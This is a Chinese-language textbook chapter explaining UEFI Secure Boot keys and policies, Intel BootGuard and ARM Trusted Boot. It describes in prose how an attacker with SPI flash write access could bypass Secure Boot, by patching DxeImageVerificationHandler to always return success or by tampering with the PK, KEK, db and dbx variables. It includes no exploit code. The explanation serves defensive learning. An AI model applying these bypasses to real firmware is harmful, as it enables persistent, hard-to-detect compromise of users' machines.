UEFI 可执行文件的数字签名有时包含由时间戳认证机构(TSA)服务颁发的时间戳。该签名的时间戳反映了签名生成的时间。通过比较签名时间戳与签名密钥的过期时间戳,Secure Boot 可以确定签名是生成在签名密钥过期之前还是之后。通常,签名密钥的过期日期是指签名密钥被认为已被泄露的日期。因此,签名的时间戳使得 Secure Boot 能够验证签名是在签名密钥未被泄露的时刻生成的,从而确保签名的合法性。通过这种方式,基于时间的认证减少了 PKI 在 Secure Boot db 证书中的复杂性。

基于时间的认证还允许你避免重新签名相同的 UEFI 映像。签名的时间戳向 Secure Boot 证明,某个 UEFI 映像是在相应签名密钥过期或被撤销之前签署的。因此,即使签名密钥过期,签名仍然有效,因为它是在签名密钥仍然有效且未被泄露时创建的。

Secure Boot 密钥

现在你已经了解了 Secure Boot 如何获取受信任和撤销的公钥证书信息,让我们来谈谈这些数据库是如何存储并防止未经授权的修改的。毕竟,通过修改db数据库,攻击者可以轻松绕过 Secure Boot 检查,注入恶意证书,并用与恶意证书对应的私钥签名的流氓引导程序替换操作系统引导加载程序。由于恶意证书已经存在于db签名数据库中,Secure Boot 将允许流氓引导程序运行。

因此,为了防止 dbdbx 数据库遭受未经授权的修改,平台或操作系统供应商必须对这些数据库进行签名。当 UEFI 固件读取这些数据库的内容时,它首先通过验证数字签名来认证它们,验证的过程使用了一个称为 密钥交换密钥(KEK) 的公钥。然后,它使用第二个密钥,称为 平台密钥(PK),来认证每个 KEK。

密钥交换密钥

dbdbx 数据库一样,公钥 KEK 的列表也存储在 NVRAM UEFI 变量中。我们将使用之前执行的 chipsec 命令的结果来探索 KEK 变量的内容。打开包含结果的目录,你应该会看到一个名为 KEK_8BE4DF61-93CA-11D2-AA0D-00E098032B8C 的子文件夹,里面包含公钥 KEK 的证书(见 图 17-6)。这个 UEFI 变量也需要进行认证,正如你接下来会看到的那样。

image

图 17-6:KEK UEFI 变量的内容

只有对应这些证书中任何一个的私钥所有者才能修改 dbdbx 数据库的内容。在这个例子中,我们只有两个 KEK 证书,分别来自 Microsoft 和 Lenovo,如 表 17-2 所示。

表 17-2:KEK UEFI 变量中的证书

文件名 发放给 由...发放
X509-7FACC7B6-127F-4E9C-9C5D-080F98994345-00.bin 联想有限公司 KEK CA 2012 联想有限公司 KEK CA 2012
X509-77FA9ABD-0359-4D32-BD60-28F4E78F784B-01.bin 微软公司 KEK CA 2011 微软公司第三方市场根证书

你可以通过转储 KEK 变量并执行我们之前使用的 openssl 命令,来发现与你系统的 KEK 证书相对应的私钥所有者。

平台密钥

PK 是安全启动中 PKI 密钥层级的最后一个签名密钥。正如你可能已经猜到的,这个密钥用于通过签名 KEK UEFI 变量来认证 KEK。根据 UEFI 规范,每个平台都有一个唯一的 PK。通常,这个密钥对应于平台的制造商。

返回到你执行 chipsec 时创建的 efi_variables.dir 文件夹中的 PK_8BE4DF61-93CA-11D2-AA0D-00E098032B8C 子文件夹。在那里,你可以找到公钥 PK 的证书。你的证书将对应于你的平台。因此,既然我们使用了 Lenovo Thinkpad T540p 平台,我们可以预期我们的 PK 证书会对应于 Lenovo(见 图 17-7)。

image

图 17-7:PK 证书

你可以看到,这个确实是由联想发布的。PK UEFI 变量也经过认证,并且每次更新该变量时都应使用相应的私钥进行签名。换句话说,如果平台所有者(或者在 UEFI 术语中是平台制造商)希望用新证书更新PK变量,则包含新证书的缓冲区应使用与当前存储在PK变量中的证书对应的私钥进行签名。

UEFI 安全启动:完整图景

现在我们已经探索了 UEFI 安全启动中使用的 PKI 基础设施的完整层次结构,让我们把所有内容汇总起来,看看整个图景,见图 17-8。

image

图 17-8:UEFI 安全启动验证流程

在图形的顶部,你可以看到信任根(UEFI 安全启动固有信任的组件,所有未来验证的基础)是平台初始化固件和平台密钥。平台初始化固件是在 CPU 复位后第一次执行的代码,UEFI 安全启动隐式信任这段代码。如果攻击者破坏了 PI 固件,安全启动强制的整个信任链就会被打破。在这种情况下,攻击者可以修改任何实现安全启动镜像验证程序的 UEFI 模块,使其始终返回成功,从而允许所有提供的 UEFI 镜像通过认证。

这就是为什么安全启动信任模型假设你已正确实现固件安全更新机制,该机制要求每次固件更新都必须使用正确的签名密钥进行签名(该密钥必须不同于平台密钥 PK)。这样,只有经过授权的 PI 固件更新才能进行,并且信任根保持不被破坏。

很容易看出,这种信任模型无法防范物理攻击者,物理攻击者可以通过恶意固件镜像重新编程 SPI 闪存,从而危及 PI 固件。我们将在《通过验证和度量启动保护安全启动》一章的第 338 页讨论如何保护固件免受物理攻击。

在图 17-8 的顶部,你可以看到由平台制造商提供的平台密钥与 PI 固件具有相同级别的固有信任。此密钥用于建立 PI 固件与平台制造商之间的信任。一旦提供了平台密钥,平台固件允许制造商更新 KEK 密钥,因此可以控制哪些镜像通过安全启动检查,哪些不通过。

在下一级,你可以看到用于建立平台上 PI 固件与操作系统之间信任的 KEK。一旦平台的 KEK 被写入 UEFI 变量中,操作系统就能够指定哪些镜像可以通过 Secure Boot 检查。例如,操作系统厂商可以使用 KEK 来允许 UEFI 固件执行操作系统加载程序。

在信任模型的底层,你可以看到使用 KEK 签名的 dbdbx 数据库,这些数据库包含镜像的哈希值和公钥证书,它们直接用于 Secure Boot 强制执行的可执行文件完整性检查。

Secure Boot 策略

单独来看,Secure Boot 使用 PKKEKdbdbxdbt 变量来告诉平台一个可执行镜像是否可信,如你所见。然而,Secure Boot 验证结果的解释方式(换句话说,是否执行镜像)在很大程度上取决于所实施的策略。

我们已经在本章中多次提到 Secure Boot 策略,但尚未深入探讨它究竟是什么。所以,让我们更详细地了解这个概念。

本质上,Secure Boot 策略决定了平台固件在执行镜像认证后应该采取的行动。固件可能会执行该镜像、拒绝镜像执行、推迟镜像执行,或要求用户做出决定。

Secure Boot 策略在 UEFI 规范中并没有严格定义,因此它是特定于每个实现的。特别是,不同厂商的 UEFI 固件实现之间的策略可能有所不同。在本节中,我们将探讨一些在英特尔 EDK2 源代码中实现的 Secure Boot 策略元素,这些源代码在 第十五章 中已经使用。如果你还没有下载或克隆 EDK2 源代码,请立即从 github.com/tianocore/edk2/ 仓库中获取。

在 EDK2 中实现的 Secure Boot 考虑的因素之一是被认证的可执行镜像的来源。这些镜像可能来自不同的存储设备,其中一些设备可能本身就被信任。例如,如果镜像是从 SPI 闪存加载的,即它与其余的 UEFI 固件位于同一存储设备上,那么平台可能会自动信任它。(然而,如果攻击者能够修改 SPI 闪存上的镜像,他们也可能篡改其他固件并完全禁用 Secure Boot。我们将在 “修补 PI 固件以禁用 Secure Boot” 第 335 页 中讨论这一攻击。)另一方面,如果镜像是从外部 PCI 设备加载的——例如,Option ROM 或从外部外设设备加载的特殊固件——则它会被视为不可信,并需经过 Secure Boot 检查。

在此,我们概述了一些决定如何处理与其来源相关的图像的策略定义。你可以在 EDK2 代码库中的SecurityPkg\SecurityPkg.dec文件中找到这些策略。每个策略都会为符合条件的图像分配一个默认值。

PcdOptionRomImageVerificationPolicy 定义了作为选项 ROM 加载的图像的验证策略,例如来自 PCI 设备的图像(默认值:0x00000004)。

PcdRemovableMediaImageVerificationPolicy 定义了位于可移动介质上的图像的验证策略,包括 CD-ROM、USB 和网络(默认值:0x00000004)。

PcdFixedMediaImageVerificationPolicy 定义了位于固定介质设备(如硬盘)上的图像的验证策略(默认值:0x00000004)。

除了这些策略外,还有两种策略并未在SecurityPkg\SecurityPkg.dec文件中明确定义,但在 EDK2 Secure Boot 实现中使用:

SPI 闪存 ROM 策略 定义了位于 SPI 闪存上的图像的验证策略(默认值:0x00000000)。

其他来源 定义了对于位于除前述设备外的任何设备上的图像的验证策略(默认值:0x00000004)。

注意

请记住,这并不是用于图像认证的 Secure Boot 策略的完整列表。不同的固件厂商可以修改或扩展此列表,加入他们的自定义策略。

以下是默认策略值的描述:

0x00000000 始终信任该图像,无论其是否已签名,也无论其哈希是否在dbdbx数据库中。

0x00000001 永远不信任该图像。即使图像有有效签名,也会被拒绝。

0x00000002 允许在存在安全违规时执行。当签名无法验证或其哈希在dbx数据库中被列入黑名单时,仍然会执行该图像。

0x00000003 在存在安全违规时推迟执行。在这种情况下,图像不会立即被拒绝,而是被加载到内存中。然而,直到重新评估其认证状态后,其执行才会被推迟。

0x00000004 在 Secure Boot 无法使用dbdbx数据库验证图像时拒绝执行。

0x00000005 在存在安全违规时询问用户。在这种情况下,如果 Secure Boot 无法验证图像,授权用户可以决定是否信任该图像。例如,用户在启动时可能会看到一个提示消息。

从 Secure Boot 策略定义中,你可以看到,从 SPI 闪存加载的所有图像天生是可信的,根本不需要进行数字签名验证。在所有其他情况下,默认值 0x000000004 强制执行签名验证,并禁止执行任何未经认证的代码,无论该代码是作为选项 ROM 加载的,还是位于可移动、固定或任何其他介质上。

使用 Secure Boot 防止 Bootkit

既然你已经了解了安全启动(Secure Boot)的工作原理,我们来看看一个具体的例子,了解它如何保护操作系统启动流程免受启动病毒(bootkit)的攻击。我们不会讨论针对 MBR 和 VBR 的启动病毒,因为正如第十四章所解释的那样,UEFI 固件不再使用像 MBR 和 VBR 这样的对象(除非在 UEFI 兼容模式下),因此传统的启动病毒无法危害基于 UEFI 的系统。

如第十五章所提到的,DreamBoot 启动病毒是第一个公开的、针对 UEFI 系统的启动病毒概念验证。对于没有启用安全启动的 UEFI 系统,该启动病毒的工作方式如下:

  1. 启动病毒的作者将原始的 UEFI Windows 启动加载器 bootmgfw.efi 替换为恶意启动加载器 bootx64.efi,并将其放置在启动分区中。

  2. 恶意启动加载器会加载原始的 bootmgfw.efi,并对其进行修补以控制 Windows 加载程序 winload.efi,然后执行它,正如在图 17-9 中所展示的那样。image

    图 17-9:DreamBoot 攻击操作系统启动加载器的流程

  3. 恶意代码会继续修补系统模块,直到它达到操作系统的内核,绕过了旨在防止未授权内核模式代码执行的内核保护机制(例如内核模式代码签名策略)。

这种攻击之所以可能发生,是因为默认情况下,操作系统启动加载器在 UEFI 启动过程中没有经过身份验证。UEFI 固件通过 UEFI 变量获取操作系统启动加载器的位置,对于 Microsoft Windows 平台来说,它位于启动分区的 \EFI\Microsoft\Boot\bootmgfw.efi。具有系统权限的攻击者可以轻松地替换或篡改启动加载器。

然而,当启用安全启动时,这种攻击就不再可能。由于安全启动会验证启动时执行的 UEFI 镜像的完整性,而操作系统启动加载器是启动时验证的可执行文件之一,安全启动将会检查启动加载器的签名是否符合 dbdbx 数据库中的记录。恶意启动加载器没有使用正确的签名密钥,因此它可能会在检查时失败并无法执行(这取决于启动策略)。这是安全启动防止启动病毒的一种方式。

攻击安全启动

现在我们来看一些能够成功攻击 UEFI 安全启动的攻击方式。由于安全启动依赖 PI 固件和 PK 作为信任的根源,如果其中任何一个组件被破坏,整个安全启动检查链就会失效。我们将研究一些能够破坏安全启动的启动病毒和根病毒(rootkit)。

我们在这里讨论的启动病毒主要依赖于对 SPI 闪存内容的修改。在现代计算机系统中,SPI 闪存通常用作主要固件存储几乎每台笔记本电脑和台式计算机都会将 UEFI 固件存储在通过 SPI 控制器访问的闪存中。

在第十五章,我们介绍了各种将持久性 UEFI rootkit 安装到闪存固件中的攻击,因此在这里我们不再详细讨论这些内容,尽管相同的攻击(SMI 处理程序问题、S3 启动脚本、BIOS 写保护等)可能会被用于攻击安全启动。本节中的攻击假设攻击者已经能够修改包含 UEFI 固件的闪存内容。接下来我们来看看他们可以做些什么!

修补 PI 固件以禁用安全启动

一旦攻击者能够修改 SPI 闪存的内容,他们可以通过修补 PI 固件轻松禁用安全启动。你在图 17-8 中看到,UEFI 安全启动是基于 PI 固件的,因此如果我们修改实现安全启动的 PI 固件模块,就能有效地禁用其功能。

为了探索这个过程,我们将再次使用 Intel 的 EDK2 源代码(*github.com/tianocore/edk2/)作为 UEFI 实现的示例。你将了解安全启动验证功能的实现位置,以及如何可能会破坏它。

在仓库中的SecurityPkg/Library/DxeImageVerificationLib文件夹内,你会找到实现代码完整性验证功能的DxeImageVerificationLib.c源代码文件。具体来说,这个文件实现了DxeImageVerificationHandler例程,用于决定一个 UEFI 可执行文件是否被信任并应该被执行,或者它是否未通过验证。列表 17-1 展示了该例程的原型。

EFI_STATUS EFI_API DxeImageVerificationHandler (

  IN  UINT32                           AuthenticationStatus, ➊

  IN  CONST EFI_DEVICE_PATH_PROTOCOL   *File, ➋

  IN  VOID                             *FileBuffer, ➌

  IN  UINTN                            FileSize, ➍

  IN  BOOLEAN                          BootPolicy ➎

);

列表 17-1:DxeImageVerificationHandler例程的定义

作为第一个参数,例程接收AuthenticationStatus变量 ➊,它指示镜像是否已签名。File参数 ➋是指向正在分派的文件的设备路径的指针。FileBuffer ➌ 和 FileSize ➍ 参数提供指向 UEFI 镜像及其大小的指针,以便进行验证。

最后,BootPolicy ➎是一个参数,指示请求加载正在认证的镜像是否来自 UEFI 引导管理器,并且是一个启动选择(意味着该镜像是选定的操作系统引导加载程序)。我们在第十四章中更详细地讨论了 UEFI 引导管理器。

在验证完成后,该例程返回以下值之一:

EFI_SUCCESS 认证成功,镜像将被执行。

EFI_ACCESS_DENIED 该镜像未通过认证,因为平台策略已规定固件不能使用该镜像文件。如果固件尝试从可移动介质加载镜像,而平台策略禁止在启动时从可移动介质执行,无论这些镜像是否已签名,都可能会发生这种情况。在这种情况下,该例程将立即返回EFI_ACCESS_DENIED,而不会进行任何签名验证。

EFI_SECURITY_VIOLATION 认证失败,原因是 Secure Boot 无法验证映像的数字签名,或者可执行文件的哈希值被发现存在于禁止映像的数据库(dbx)中。这个返回值表明映像不被信任,平台应遵循 Secure Boot 策略来决定是否允许执行该映像。

EFI_OUT_RESOURCE 在验证过程中发生错误,原因是系统资源不足(通常是内存不足),无法执行映像认证。

为了绕过 Secure Boot 检查,具有 SPI 闪存写入权限的攻击者可以修改这个例程,使其始终返回 EFI_SUCCESS 值,不论输入的可执行文件是否有效。结果,所有 UEFI 映像都会通过认证,无论它们是否已签名。

修改 UEFI 变量以绕过安全检查

攻击 Secure Boot 实现的另一种方式是修改 UEFI NVRAM 变量。如本章前面所述,Secure Boot 使用某些变量来存储其配置参数,诸如 Secure Boot 是否启用、PK 和 KEK、签名数据库以及平台策略等详细信息。如果攻击者能够修改这些变量,他们可以禁用或绕过 Secure Boot 验证检查。

确实,大多数 Secure Boot 实现会将 UEFI NVRAM 变量存储在 SPI 闪存中,与系统固件一起使用。尽管这些变量是经过认证的,并且通过使用 UEFI API 从内核模式更改它们的值需要相应的私钥,但具有写入 SPI 闪存权限的攻击者仍然可以更改其内容。

一旦攻击者访问了 UEFI NVRAM 变量,他们可以例如篡改 PKKEKdbdbx,添加自定义的恶意证书,从而允许恶意模块绕过安全检查。另一种方式是将恶意文件的哈希值添加到 db 数据库,并将其从 dbx 数据库中移除(如果该哈希值最初在 dbx 数据库中)。如图 17-10 所示,通过更改 PK 变量以包含攻击者的公钥证书,攻击者能够在 KEK UEFI 变量中添加和删除 KEK,从而控制 dbdbx 签名数据库,突破 Secure Boot 保护。

image

图 17-10:针对 UEFI Secure Boot 信任链的攻击

作为第三种选择,攻击者可以直接破坏 UEFI 变量中的 PK,而不必更改 PK 或妥协底层的 PKI 层级。为了正常工作,Secure Boot 需要一个有效的 PK 被注册到平台固件中;否则,保护机制将被禁用。

如果你对这些攻击感兴趣,以下会议论文对 UEFI Secure Boot 技术进行了全面分析:

通过验证启动和度量启动保护安全启动

正如我们刚才讨论的,单靠安全启动无法防范涉及平台固件变化的攻击。那么,是否有任何保护措施来保护安全启动技术本身呢?答案是肯定的。在本节中,我们将重点介绍旨在保护系统固件免受未经授权修改的安全技术——即验证启动和度量启动。验证启动检查平台固件是否未被篡改或修改,而度量启动计算启动过程中涉及的某些组件的加密哈希,并将其存储在受信任平台模块平台配置寄存器(TPM PCR)中。

验证启动和度量启动是独立运作的,因此有可能只启用其中一个,或同时启用两者。然而,验证启动和度量启动都属于同一信任链的一部分(如图 17-11 所示)。

image

图 17-11:验证启动和度量启动流程

如图 17-8 所示,PI 固件是在 CPU 复位后执行的第一段代码。UEFI 安全启动无条件信任 PI 固件,因此当前对安全启动的攻击依赖于对其的未经授权的修改,这一点是可以理解的。

为了防范此类攻击,系统需要一个位于 PI 固件之外的信任根。这就是验证启动(Verified Boot)和度量启动(Measured Boot)发挥作用的地方。这些过程执行的保护机制,其信任根被锚定在硬件中。而且,它们在系统固件之前执行,这意味着它们既能认证又能度量系统固件。稍后我们将讨论在这个背景下“度量”意味着什么。

验证启动

当启用验证启动的系统通电时,硬件逻辑会启动实现于启动 ROM 或 CPU 内的微代码中的启动验证功能。这个逻辑是不可变的,这意味着软件无法更改它。通常,验证启动会执行一个模块来验证系统的完整性,确保系统将执行未经恶意修改的真实固件。为了验证固件,验证启动依赖于公钥加密技术;与 UEFI 安全启动类似,它会检查平台固件的数字签名,以确保其真实性。成功认证后,平台固件被执行并继续验证其他固件组件(例如,选项 ROM、DXE 驱动程序和操作系统引导加载程序)以保持正确的信任链。这就是“验证启动”中“验证”部分的内容。现在我们来看看“度量启动”部分。

度量启动

度量启动通过测量平台固件和操作系统引导加载程序来工作。这意味着它会计算启动过程相关组件的加密哈希值。这些哈希值存储在一组 TPM PCR 中。哈希值本身并不能告诉你所测量的组件是良性的还是恶意的,但它们确实告诉你配置和启动组件是否在某个时刻发生过更改。如果某个启动组件被修改,其哈希值将与对原始版本组件计算出的哈希值不同。因此,度量启动将注意到任何启动组件的修改。

后续,系统软件可以使用这些 TPM PCR 中的哈希值来确保系统处于一个已知的良好状态,没有任何恶意修改。系统还可以使用这些哈希值进行远程证明,即当一个系统试图向另一个系统证明它处于一个受信状态时。

现在你已经了解了验证启动和度量启动的一般工作原理,接下来我们来看看它的几种实现方式,首先是英特尔 BootGuard。

英特尔 BootGuard

英特尔 BootGuard 是英特尔的验证启动和度量启动技术。图 17-12 显示了启用英特尔 BootGuard 的平台上的启动流程。

image

图 17-12:英特尔 BootGuard 流程

在初始化期间,在 CPU 开始执行位于复位向量的第一段代码之前,它会执行启动 ROM 中的代码。这段代码执行必要的 CPU 状态初始化,然后加载并执行 BootGuard 认证代码模块 (ACM)

ACM 是一种用于执行安全敏感操作的特殊模块,必须由英特尔签名。因此,加载 ACM 的启动 ROM 代码会执行强制签名验证,除非 ACM 由英特尔签名,否则模块无法运行。成功通过签名验证后,ACM 会在隔离的环境中执行,以防止任何恶意软件干扰其执行。

BootGuard ACM 实现了验证和测量启动功能。此模块将第一阶段固件加载器,即初始启动块(IBB),加载到内存中,并根据当前的启动策略对其进行验证和/或测量。IBB 是固件的一部分,包含在重置向量处执行的代码。

严格来说,在启动过程中,此时还没有 RAM。内存控制器尚未初始化,RAM 也不可访问。然而,CPU 会配置其最后一级缓存,使其可以被用作 RAM,通过将其设置为 Cache-as-RAM 模式,直到启动过程中的某个时刻,BIOS 内存引用代码可以配置内存控制器并发现 RAM。

一旦 IBB 成功验证和/或测量完毕,ACM 会将控制权转交给 IBB。如果 IBB 验证失败,ACM 会根据当前的启动策略进行处理:系统可能会立即关闭,或者在某个超时后允许固件恢复。

然后,IBB 从 SPI 闪存加载其余的 UEFI 固件,并对其进行验证和/或测量。一旦 IBB 获得控制,Intel BootGuard 就不再负责维持正确的信任链,因为它的目的仅仅是验证和测量 IBB。IBB 负责继续信任链,直到 UEFI 安全启动接管固件镜像的验证和测量。

寻找 ACM

让我们从 ACM 开始,了解 Intel BootGuard 技术在桌面平台上的实现细节。由于 ACM 是系统开机时执行的第一个 Intel BootGuard 组件之一,第一个问题是:CPU 在开机时如何找到 ACM?

ACM 的确切位置存储在一种特殊的数据结构中,称为 固件接口表(FIT),它存储在固件镜像中。FIT 被组织为 FIT 条目的数组,每个条目描述固件中特定对象的位置,如 ACM 或微代码更新文件。图 17-13 显示了重置后 FIT 在系统内存中的布局。

image

图 17-13:FIT 在内存中的位置

当 CPU 开机时,它会从内存地址 0xFFFFFFC0 ➊ 读取 FIT 的地址。由于此时还没有 RAM,当 CPU 对物理地址 0xFFFFFFC0 发出读取内存事务时,内部芯片组逻辑会识别该地址属于特殊地址范围,因此不会将该事务发送给内存控制器,而是解码它。对 FIT 表的读取内存事务将被转发到 SPI 闪存控制器,由其从闪存中读取 FIT。

我们将通过返回到 EDK2 仓库来更详细地了解这个过程。在IntelSiliconPkg/Include/IndustryStandard/目录中,您将找到FirmwareInterfaceTable.h头文件,其中包含与 FIT 结构相关的一些代码定义。FIT 条目的布局请参见 Listing 17-2。

typedef struct {

  UINT64 Address; ➊

  UINT8  Size[3]; ➋

  UINT8  Reserved;

  UINT16 Version; ➌

  UINT8  Type : 7; ➍

  UINT8  C_V  : 1; ➎

  UINT8  Chksum; ➏

} FIRMWARE_INTERFACE_TABLE_ENTRY;

Listing 17-2:FIT 条目的布局

如前所述,每个 FIT 条目描述了固件镜像中的某个对象。每个对象的性质由 FIT 的Type字段编码。这些对象可能是微代码更新文件、BootGuard 的 ACM,或者 BootGuard 策略等。例如,Address字段➊和Size字段➋提供了该对象在内存中的位置:Address包含该对象的物理地址,而Size定义了以dword(4 字节值)为单位的大小。C_V字段➎是校验和有效字段;如果该字段为1,则Chksum字段➏包含该对象的有效校验和。组件中所有字节的和对 0xFF 取模后的结果与Chksum字段中的值必须为零。Version字段➌包含组件的版本号,采用二进制编码的十进制格式。对于 FIT 头条目,该字段的值将指示 FIT 数据结构的修订号。

头文件FirmwareInterfaceTable.h包含了Type字段➍可能取的值。这些类型值大多没有文档说明,信息较少,但 FIT 条目类型的定义相当详细,您可以从上下文中推断它们的含义。以下是与 BootGuard 相关的类型:

  • FIT_TYPE_00_HEADER条目在其Size字段中提供 FIT 表中条目的总数。其地址字段包含一个特殊的 8 字节签名,'_FIT_'_FIT_后有三个空格)。

  • 类型为FIT_TYPE_02_STARTUP_ACM的条目提供了 BootGuard ACM 的位置,启动 ROM 代码解析该位置以在系统内存中找到 ACM。

  • FIT_TYPE_0C_BOOT_POLICY_MANIFEST(BootGuard 启动策略清单)和FIT_TYPE_0B_KEY_MANIFEST(BootGuard 密钥清单)类型的条目提供了当前生效的 BootGuard 启动策略和配置信息,我们将在稍后的“配置 Intel BootGuard”中讨论这些内容,见第 343 页。

请记住,Intel BootGuard 启动策略和 UEFI Secure Boot 策略是两个不同的概念。第一个术语指的是用于验证和度量启动过程的启动策略。也就是说,Intel BootGuard 启动策略由 ACM 和芯片组逻辑执行,其中包括是否应执行验证和度量启动以及当 BootGuard 无法验证 IBB 时应采取什么措施等参数。第二个术语指的是本章早些时候讨论的 UEFI Secure Boot,完全由 UEFI 固件执行。

探索 FIT

你可以使用 UEFITool 浏览固件镜像中的一些 FIT 条目,我们在第十五章中介绍过它(并且我们将在第十九章中进一步讨论),并从镜像中提取 ACM、启动策略和密钥清单以进行进一步分析。这是有用的,因为 ACM 可以用来隐藏恶意代码。在下面的示例中,我们使用从启用了 Intel BootGuard 技术的系统中获取的固件镜像。(第十九章提供了如何从平台获取固件的信息。)

首先,在 UEFITool 中加载固件镜像,方法是选择文件打开镜像文件。在指定要加载的固件镜像文件后,你将看到一个像图 17-14 所示的窗口。

image

图 17-14:在 UEFITool 中浏览 FIT

在窗口的下半部分,你可以看到列出条目的 FIT 标签。FIT 标签的Type列显示 FIT 条目的类型。我们正在寻找 BIOS ACM、BootGuard 密钥清单和 BootGuard 启动策略类型的 FIT 条目。根据这些信息,我们可以在固件镜像中定位 Intel BootGuard 组件并提取它们进行进一步分析。在这个特定示例中,FIT 条目#6 指示 BIOS ACM 的位置;它从地址 0xfffc0000 开始。FIT 条目#7 和#8 分别指示密钥和启动策略清单的位置;它们分别从地址 0xfffc9180 和 0xfffc8100 开始。

配置 Intel BootGuard

执行时,BootGuard BIOS ACM 会消耗 BootGuard 密钥,而启动策略则定位系统内存中的 IBB,以获取正确的公钥来验证 IBB 的签名。

BootGuard 密钥清单包含启动策略清单(BPM)的哈希、OEM 根公钥、前述字段的数字签名(根公钥除外,因为它不包含在签名数据中)以及安全版本号(一个随着每次安全更新递增的计数器,旨在防止回滚攻击)。

BPM 本身包含 IBB 的安全版本号、位置和哈希值;BPM 公钥;以及刚才列出的 BPM 字段的数字签名——除了根公钥,根公钥可以通过 BPM 公钥验证。IBB 的位置提供了 IBB 在内存中的布局。这可能不是一个连续的内存块;它可能由几个不相邻的内存区域组成。IBB 哈希包含 IBB 占用的所有内存区域的累计哈希值。因此,验证 IBB 签名的整个过程如下:

  1. BootGuard 使用 FIT 定位密钥清单(KM),获取启动策略清单的哈希值和 OEM 根密钥,我们称之为密钥 1。BootGuard 使用密钥 1 验证 KM 中的数字签名,以确保 BPM 哈希值的完整性。如果验证失败,BootGuard 会报告错误并触发修复操作。

  2. 如果验证成功,BootGuard 将使用 FIT 定位 BPM,计算 BPM 的哈希值,并将其与 KM 中的 BPM 哈希值进行比较。如果值不相等,BootGuard 会报告错误并触发修复操作;否则,它将从 BPM 获取 IBB 的哈希值和位置。

  3. BootGuard 定位 IBB 在内存中的位置,计算其累积哈希值,并将其与 BPM 中的 IBB 哈希值进行比较。如果哈希值不相等,BootGuard 会报告错误并触发修复操作。

  4. 否则,BootGuard 会报告验证成功。如果启用了度量启动,BootGuard 还会通过计算 IBB 的哈希值并将度量结果存储在 TPM 中来度量 IBB。然后,BootGuard 将控制权转交给 IBB。

KM 是一个关键结构,因为它包含用于验证 IBB 完整性的 OEM 根公钥。你可能会问:“如果 BootGuard 的 KM 和固件映像一起存储在未保护的 SPI 闪存中,那是不是意味着攻击者可以修改闪存中的内容,给 BootGuard 提供一个假的验证密钥?”为了防止此类攻击,OEM 根公钥的哈希值存储在芯片组的现场可编程保险丝中。这些保险丝只能在 BootGuard 启动策略配置时编程一次。保险丝一旦写入,就无法被覆盖。这就是 BootGuard 验证密钥如何被锚定在硬件中,使硬件成为不可变的信任根。(BootGuard 启动策略也存储在芯片组的保险丝中,因此在启动策略配置后无法更改该策略。)

如果攻击者更改了 BootGuard 密钥清单,ACM 将通过计算其哈希值并将其与“黄金”值进行比较来检测密钥的更改,这个“黄金”值被写入芯片组中。哈希不匹配会触发错误报告和修复行为。图 17-15 展示了 BootGuard 强制执行的信任链。

image

图 17-15:英特尔 BootGuard 信任链

一旦 IBB 成功验证,并在必要时进行测量,它将执行一些基本的芯片组初始化,然后加载 UEFI 固件。在此时,IBB 有责任在加载和执行固件之前对 UEFI 固件进行身份验证。否则,信任链将被打破。

图 17-16 通过展示安全启动实现的责任边界来总结本节内容。

image

图 17-16:安全启动实现的责任边界

ARM 可信启动板

ARM 有自己实现的验证和度量引导技术,称为受信引导板(TBB),简称受信引导。在本节中,我们将探讨受信引导的设计。ARM 有一种非常特定的设置,称为Trust Zone 安全技术,将执行环境分为两个部分。在介绍 ARM 的验证和度量引导过程之前,我们需要描述 Trust Zone 的工作原理。

ARM Trust Zone

Trust Zone 安全技术是一种硬件实现的安全特性,它将 ARM 执行环境分为两个世界:安全世界和普通(或非安全)世界,这两个世界共存于同一个物理核心中,如图 17-17 所示。处理器硬件和固件中实现的逻辑确保安全世界的资源与在非安全世界中运行的软件正确隔离并得到保护。

image

图 17-17:ARM Trust Zone

两个世界各自拥有独立的固件和软件栈:普通世界执行用户应用程序和操作系统,而安全世界执行安全操作系统和受信服务。这些世界的固件由不同的引导加载程序组成,负责初始化各自的世界并加载操作系统,我们稍后会谈到。因此,安全世界和普通世界具有不同的固件镜像。

在处理器内部,运行在普通世界中的软件无法直接访问安全世界中的代码和数据。防止这种访问的控制逻辑是由硬件实现的,通常位于芯片系统硬件中。然而,运行在普通世界中的软件可以通过特定的软件(如 ARM Cortex-A 中的 Secure Monitor 或 ARM Cortex-M 中的核心逻辑)将控制权转移到位于安全世界中的软件(例如,执行安全世界中的受信服务)。此机制确保世界之间的切换不会破坏系统的安全性。

Trusted Boot 技术和 Trust Zone 一起构成了受信执行环境,用于运行具有高级权限的软件,并为数字版权管理、加密和身份验证原语以及其他安全敏感应用提供安全环境。通过这种方式,一个孤立的、受保护的环境可以容纳最敏感的软件。

ARM 引导加载程序

由于安全世界和普通世界是分开的,每个世界需要自己的引导加载程序。此外,每个世界的引导过程由多个阶段组成,这意味着必须在引导过程的不同阶段执行多个引导加载程序。在这里,我们将以一般术语描述 ARM 应用处理器的受信引导流程,并列出涉及受信引导的引导加载程序,这些在图 17-17 中已有展示:

BL1 第一阶段引导加载程序,位于启动 ROM 中并在安全世界执行。

BL2 第二阶段引导加载程序,位于闪存中,由 BL1 在安全世界加载并执行。

BL31 安全世界运行时固件,由 BL2 加载并执行。

BL32 可选的安全世界第三阶段引导加载程序,由 BL2 加载。

BL33 普通世界运行时固件,由 BL2 加载并执行。

这份清单并不是所有 ARM 实现的完整和准确列表,因为一些制造商引入了额外的引导加载程序或移除了一些现有的程序。在某些情况下,BL1 可能不是系统复位后应用处理器上执行的第一个代码。

为了验证这些引导组件的完整性,受信启动依赖于 X.509 公钥证书(请记住,UEFI 安全启动中的 db 数据库文件是使用 X.509 编码的)。值得一提的是,所有证书都是自签名的。无需证书颁发机构,因为信任链的建立并不是通过证书颁发者的有效性,而是通过证书扩展的内容。

受信启动使用两种类型的证书:密钥证书和内容证书。它首先使用密钥证书验证用于签名内容证书的公钥。然后,它使用内容证书存储引导加载程序映像的哈希值。这种关系如图 17-18 所示。

image

图 17-18:受信启动密钥和内容证书

受信启动通过计算映像的哈希值并将结果与从内容证书中提取的哈希值进行匹配来验证映像。

受信启动流程

现在你已经熟悉了受信启动的基础概念,让我们看看应用处理器的受信启动流程,如图 17-19 所示。这将为你提供一个完整的视角,了解在 ARM 处理器中如何实现验证启动,并且它如何保护平台免受不受信任代码的执行,包括固件根套件。

在图 17-19 中,实线箭头表示执行流的转移,虚线箭头表示信任关系;换句话说,每个元素信任其虚线箭头指向的元素。

